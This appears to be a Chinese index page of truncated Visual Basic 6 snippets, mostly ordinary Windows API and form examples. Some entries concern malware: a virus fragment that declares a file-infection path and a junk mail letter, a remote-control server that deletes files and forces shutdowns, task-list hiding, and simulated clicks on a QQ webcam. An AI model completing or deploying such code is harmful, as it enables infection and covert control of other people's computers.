App.TaskVisible = False

查看更多...

Public Sub HaalDirOp(ByVal Path$)
    Dim vDirName As String, LastDir As String

    Screen.MousePointer = vbHourglass
    If Right(Path$, 1) <> "\" Then Path$ = Path$ & "\"

查看更多...

 '当bShow为False时，计数器减1。只有当计数器值大于或等于零时，鼠标才显示出来。通常情况下鼠标是显示的，并且计数器值为0，因此只需简单地调用ShowCursor（）函数即能实现鼠标的隐藏与显示：
Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long


Private Sub Form_Load()

查看更多...

Private Declare Function SetWindowLong Lib "user32" _
                Alias "SetWindowLongA" _
                (ByVal hwnd As Long, _
                ByVal nIndex As Long, _
                ByVal dwNewLong As Long) _

查看更多...

Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Const WM_CLOSE = &H10

查看更多...

'GetPrivateProfileString     从ini文件中读取信息
'WritePrivateProfileString   往ini文件中写入信息
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

查看更多...

原理:
利用SetCursorPos 320, 190    '属标移动到qq摄像头位置
   mouse_event MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0    '模拟左键点击   

点击下载此文件

查看更多...

还没细看代码

点击下载此文件

查看更多...

还没细看代码

点击下载此文件

查看更多...

还没细看代码,先贴上
点击下载此文件

还没细看代码

点击下载此文件

本人尚没看懂,以后研究

点击下载此文件

怎么编程把用户名，密码提交到网页上的登录页？
首先在程序中加入Webbrowser控件并加入引用 Microsoft HTML Object Library。
假设你的HTML页面表单代码如下：
<form method="POST" action="http://chen/dll/chat/chatmain.exe/RegUser">
<p>请填写下面表单注册（*项为必添项）</p>

查看更多...

思路:主要是StretchBlt  函数的使用   从一个屏到另一个屏

点击下载此文件

查看更多...

点击下载此文件

思路:所有控件类型,属性,都写在数据库里了,读取数据库得

点击下载此文件

思路:把背景色变透明

点击下载此文件

Option Explicit
Dim bd As Byte '存储病毒的变量
Dim xx, l, zc, k1, xs
Dim msg As String '垃圾求职信
Dim flpath As String '要感染的文件路径名

查看更多...

     建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如：把服务器端的驱动器名、目录名、文件名等传到客户机端，客户机端接收后用TreeView控件以树状的形式显示出来
1 浏览服务器端文件目录；
2 强制关闭或重启服务器端的计算机；
3 屏蔽任务栏窗口；屏蔽开始菜单；
4 按照客户机端传过来的文件名或目录名，而删除它；

查看更多...

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Dim hWnd1 As Long

查看更多...